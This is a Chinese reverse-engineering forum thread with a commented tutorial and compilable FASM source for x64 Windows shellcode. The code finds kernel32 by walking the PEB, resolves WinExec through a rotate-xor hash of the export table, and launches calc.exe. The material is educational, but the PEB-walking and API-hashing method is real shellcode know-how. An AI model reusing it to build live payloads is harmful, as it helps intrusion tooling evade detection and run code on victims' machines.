吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 7605|回复: 5
收起左侧

[调试逆向] Shellcode In X64-2Search Function using hash

[复制链接]
KMSRussian 发表于 2012-8-31 03:12
1 关于WinExec-run-calc X64

关于X64的可编译完整工程,我用谷歌没有找到,检索到的网址里面感觉这两个不错
/////http://mcdermottcybersecurity.com/articles/windows-x64-shellcode
/////http://code.google.com/p/win-exec-calc-shellcode/downloads/list
推荐下  
xfish帖子地址  附带了hash计算器
http://bbs.pediy.com/showthread.php?t=86216
我在这里放一个fasm的完整可编译工程,把xfish的那份32位的WinExec run cmd
改成了64位的WinExec run calc 代码写的有点罗嗦,加入nop,然后用IDA或者其他工具
提取机器码的那个纯体力活我就不做了,只放工程和讲解,这份东西花了我大概四天的时间。
一天半学习fasm,剩下几天复习PE结构和做其他的。好了,我们开始。

                         2 fasm的一些基础知识

网上有一份1.67的fasm中文手册,可以供你参考。下面是一个fasm hello world 的例子 你可以从中
感受下fasm的语法和关键字,以及64位ASM编程。


//////////////////////////////////////////
format PE64 GUI

    include 'win64a.inc'

entry start

section '.text' code readable executable

   start:
   sub  rsp,8*5   ; reserve stack for API use and make stack dqword aligned

   mov  r9d,0
   lea  r8,[_caption]
   lea  rdx,[_message]
   mov  rcx,0
   call  [MessageBoxA]

   mov  ecx,eax
   call  [ExitProcess]

section '.data' data readable writeable

   _caption db 'Win64 assembly program',0
   _message db 'Hello World!',0

      section '.import' import data readable writeable
      library kernel32, 'kernel32.dll',\
    user32, 'user32.dll'
      include 'api\kernel32.inc'
      include 'api\user32.inc'
//////////////////////////////////////////////

直接复制粘贴到fasm里面就可以编译通过生成一个hello world,通过这个
例子你可以亲身感受下fasm,利于我们接下来的学习。

                       3  shellcode工程注解

xfish的那份代码,基本没怎么讲解,也没怎么注释,看起来的确有点难度,
下面的代码,注释比较详细。代码既不精简,也不苗条,仅作为测试Demo进行
讲解
完整的工程代码如下,直接可以复制粘贴,编译运行。

///////////////////////////////////////////////////



format PE64 CONSOLE


macro .text {section '.text' code readable executable writeable}
macro .code {section '.code' code readable executable }
macro .data {section '.data' data readable writeable }

entry  __Entry
include 'win64axp.inc'

.text

  __Entry:
nop
nop
nop
nop
        call    GetKrnlBase3   
      push 016EF74Bh  ; Hash WinExec    32
      push rsi     ;kernel32 module   64
      call    GetApi

    mov rdx,5
    lea rcx,[calc]
   call  rax
      ;   ret

     ;由于GetApi是我们自己实现的函数
   ;我们不一定非得 r9 r8 rdx rcx
   ;对齐是10h+8  堆栈对齐

    ;      xor r9, r9

   ;       cinvoke getch
    invoke ExitProcess,0
;   mov  eax, [fs:30h]
;   mov  eax, [eax+0ch]  ;Get _PEB_LDR_DATA
;   mov  eax, [eax+1ch] ;Get InInitializationOrderModuleList.Flink,
    ;此时eax指向的是ntdll模块的InInitializationOrderModuleList线性地址。所以我们获得它的下一个则是

kernel32.dll
;   mov  eax, [eax]
;  mov  eax, [eax+8h]
;  ret   
  ; add 3
   struct IMAGE_EXPORT_DIRECTORY
    Characteristics       dd      ?  ;未使用
    TimeDateStamp       dd      ?  ;文件生成时间
    MajorVersion        dw      ?  ;主版本号,一般为0
    MinorVersion        dw      ?  ;次版本号,一般为0
    nName         dd      ?  ;模块的真实名称
    nBase         dd      ?  ;基数, 加上序数就是函数地址数组的索引值
    NumberOfFunctions       dd      ?  ;AddressOfFunctions阵列的元素个数
    NumberOfNames       dd      ?  ;AddressOfNames阵列的元素个数
    AddressOfFunctions       dd      ?  ;指向函数地址数组
    AddressOfNames       dd      ?  ;函数名字的指针地址
    AddressOfNameOrdinals     dd      ?  ;指向输出序列号数组
  ends

  ;++
  ;
  ; int
  ;  GetApi(
  ;   IN HINSTANCE hModule,
  ;   IN int      iHashApi,     
  ;   )
  ;
  ; Routine Description:
  ;
  ;    获取指定函数的内存地址
  ;
  ; Arguments:
  ;
  ;    (esp)          - return address
  ;
  ;    Data   (esp+4) - hDllHandle
  ;           (esp+8) - nReason
  ; Return Value:
  ;
  ;    eax -> Function Mem Address。
  ;
  ;--

  GetApi:
  pop rdx; save return addr
  pop rax; hModule kernel32.dll基地址
  pop rcx; lpApiString 在这里是Hash  32位的

  push rdx ;return addr 再次入栈 保存返回地址 栈中只有rdx
;各类寄存器依次入站  pushad
push rax
push rcx
push rdx
push rbx
push rsp
push rbp
push rsi
push rdi


  mov ebx, eax; hModule rbx
  mov edi, ecx; hashapi rdi

  mov eax, [ebx+3ch]; 此时rax为e_lfanew的值 保存了PE头文件
  ;的偏移位置
  mov esi, [ebx+eax+88h];数据目录表的第一个成员 保存了_IMAGE_EXPORT_D的RVA 32位下是78h
  lea esi, [esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]  ;esi==numberofnames的内存地址
  cld   
  lodsd  ; mov eax,[esi]  esi=esi+4
  xchg  eax,edx ;edx= NumberOfNames==有名字的函数的数量
  lodsd ;  mov eax,[esi] esi=esi+4  eax此时是eat的rva 增加之后的[esi]对应AddressOfNames
  push  rax;[esp]=AddressOfFunctions  EAT的RVA 此时栈中有返回地址 pushad  EAT的RVA
  lodsd ;  mov eax,[esi] esi=esi+4  增加之后的[esi]对应AddressOfNameOrdinals
  xchg  eax,ebp;此时ebp 是ENT 的rva
  lodsd  ;mov eax,[esi] esi=esi+4   没有增加之前的[esi]对应AddressOfNameOrdinals
  xchg eax,ebp;
  ;ebp = eot的rva, eax = ent的rva
  ;ebx  此时是hModule
  add  eax,ebx; 此时eax是ENT的内存地址
  ;ebx  此时是hModule
  xchg eax,esi; 此时rsi是指向ent的内存地址  VA=IB+RVA
  ;其中大家最 为关注的输入表、导出表、
  ;重定位表、资源的结构体跟 PE32 一样,没有发生任何变化。

  .LoopScas:
  dec edx ;edx= 有名字的函数的数量
  jz  .Ret  ;.Ret先没写
  lodsd ;mov eax,[esi]  esi=esi+4 此时eax是ent的内容
  ;内容也就是各个ASCII字符串的RVA
  add eax,ebx ;IB+字符串的rva  得到ASCII字符串的内存地址
  ;rbx此时是hModule
  push rdx; rdx= NumberOfNames-1 做递减器 保存好 以免寄存器改变
  ;殃及递减器
  ;此时栈中有返回地址  EAT的RVA 有名字的函数数量
;;全是64位的寄存器
  push rax; rax==函数名字的内存地址 也就是ASCII字符串的内存地址
   ;此时栈中有返回地址  EAT的RVA 有名字的函数数量  函数名字的内存地址
   ;全是64位的寄存器
  call GetRolHash
  ;此时edi是hash
  ;eax存贮了计算之后所得到的hash
  ;此时栈中有getapi的返回地址  EAT的RVA 有名字的函数数量
  pop rdx; rdx= NumberOfNames-1 做递减器 保存好 以免寄存器改变
  ; ;此时栈中有getapi的返回地址  EAT的RVA
  ;rsi 下个函数名字的rva
  cmp eax,edi
  jz .GetAddr
  ;ebp = AddressOfNameOrdinals,
  add  ebp, 2
  ;ebp = eot的rva
  ;ebp = AddressOfNameOrdinals 的rva
  jmp  .LoopScas


;从 AddressOfNames 字段指向得到的函数名称地址表的第一项开始,
;在循环中将每一项定义的函数名与要查找的函数名相比较,
;如果没有任何一个函数名是符合的,表示文件中没有指定名称的函数
  ;如果某一项定义的函数名与要查找的函数名符合,
  ;那么记下这个函数名在字符串地址表中的索引
  ;值,然后在 AddressOfNamesOrdinals 指向的
  ;数组中以同样的索引值取出数组项的值,我们这里假设这个值是x
  ;最后,以 x 值作为索引值,在 AddressOfFunctions
  ;字段指向的函数入口地址表中获取的
  ;RVA 就是函数的入口地址。

;简单说是:查找AddressOfNames ,对应到a项,取AddressOfNamesOrdinals
;的第a项的值得到b,取AddressOfFunctions 的第b项


   ;rbx此时是hModule
    ;ebp = AddressOfNameOrdinals 的rva
    ;指向另一个word 类型的数组(注意不是双字数组)
   ; [rsp]==[esp]=AddressOfFunctions  也就是EAT的rva
    ; ;此时栈中有getapi的返回地址  EAT的RVA
  .GetAddr:
   xor  rax,rax
   movzx eax,word [ebp+ebx];   00004000h
   shl  eax,2
   add  eax,[rsp]
   mov  eax,[ebx+eax]  ;得到了函数的RVA地址
   add  eax,ebx
      ; ;此时栈中有getapi的返回地址 pushad EAT的RVA
.Ret:  

   pop rcx ;
   mov [rsp+8*7],rax
;       popad
pop rdi
pop rsi
pop rbp
pop rsp
pop rbx
pop rdx
pop rcx
pop rax
   ret
   ;EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX  按照这些指令出栈可能会覆盖寄存器的值
;必须mov [esp+4*7],eax


  GetKrnlBase3:
     mov rsi, [gs:60h]   ;peb from teb
     mov rsi, [rsi+18h]    ;_peb_ldr_data from peb
     mov rsi, [rsi+30h]   ;InInitializationOrderModuleList.Flink,
     ;rsi==00232c90 00000000
     mov rsi, [rsi]  ;kernelbase.dll
     ;rsi=00232b20 00000000
   mov rsi, [esi]      ;kernel32.dll

       mov rsi, [rsi+10h]  ; pay attention to danwei
     ret




  GetRolHash:
  pop rcx;返回地址
  pop rax;函数名字内存地址
  push rcx;压入返回地址
  push rsi;下个函数名字的rva  下个ent的内容 也就是下个函数名字的rva
;此时栈中有getapi的返回地址  EAT的RVA 有名字的函数数量
;GetRolHash返回地址 下个函数名字的rva
  xor rdx,rdx
  xchg eax,esi ;rsi=第一个函数的名字的内存地址
  ;eax==下个函数名的RVA
  cld

  .Next:
  lodsb ; mov al,[si] si=si+1
  test al,al ;按位与测试直到函数最后一个0字符
  jz .Ret
  rol edx,3
  xor dl,al ;
  jmp .Next

  .Ret:
  xchg eax,edx ;此时eax存储了hash  
  pop rsi ;下个函数名字的rva
  ret ;pop rcx 返回地址 正好堆栈平衡


.data
;type                   db "%I64x",0
;hello_msg      db 0Dh,0Ah
calc  db "calc.exe " ,0
show db 'SW_SHOW'
section '.idata' import data readable writable

   library kernel,'KERNEL32.DLL'

   import kernel,\
    ExitProcess,'ExitProcess'

;szCaption  db 'test',0
;
;     section '.import' import data readable writeable
;     library kernel32, 'kernel32.dll',user32, 'user32.dll'
;     include 'api\kernel32.inc'
;     include 'api\user32.inc'

///////////////////////////////////////////////

注释的很详细了 需要说明的有这么几点
1堆栈平衡是重重之重,如果你记不住,就在每一行代码后面加好注释
搞清楚这个时候堆栈里面都还有些什么
2PE32+改变比较大的也就是NT头变成了IMAGE_NT_HEADERS64,使一些
偏移发生了变化,可以自行dt查看
3导出表没有发生变化
4导出表的后三个成员一定要好好看看,这是看懂代码的关键所在。


                            4  对call WinExec的说明

最后的代码我是这样写的
    mov rdx,5
    lea rcx,[calc]
    call  rax
实际上googlecode上面的那个作者也是用的rdx rcx传递的参数的,他的代码是这样的:
     PUSH    B2DW('c', 'a', 'l', 'c')      ; Stack = "calc", 0
     PUSH    RSP
     POP     RCX                           ; RCX = &("calc")
     PUSH    RCX                           ; WinExec messes with stack -
     CDQ                                   ; RDX = 0
     CALL    RDI                           ; WinExec(&("calc"), 0);
你可能问,用r9\r8传递参数不可以吗,我用r9 r8传递参数结果程序crash。我们写个简单的小程序,使用
WinExec调用calc,IDA中显示这样的结果
; int __cdecl main(int argc, const char **argv, const char **envp)
main proc near
sub     rsp, 28h
lea     rcx, CmdLine    ; "calc.exe"
mov     edx, 5          ; uCmdShow
call    cs:__imp_WinExec
xor     eax, eax
add     rsp, 28h
retn  
调用WinExec的时候 windows本身就用的是rcx\rdx传递的参数,我们也还是老老实实的用rdx\rcx传递参数吧

Fasm 完整可编译工程

noprintfwinexec.7z (3.56 KB, 下载次数: 18)



发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

头像被屏蔽
勋爵 发表于 2012-8-31 07:15
提示: 作者被禁止或删除 内容自动屏蔽
oyt_022 发表于 2012-8-31 09:19
hwfyff 发表于 2014-3-2 21:31
www52pojiecn 发表于 2014-3-5 11:46
谢谢提供,过了这么久,发现关注度不高,但是真的很好
轉瞬即逝~的愛 发表于 2014-12-28 10:39
谢谢楼主分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-3-28 17:37

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表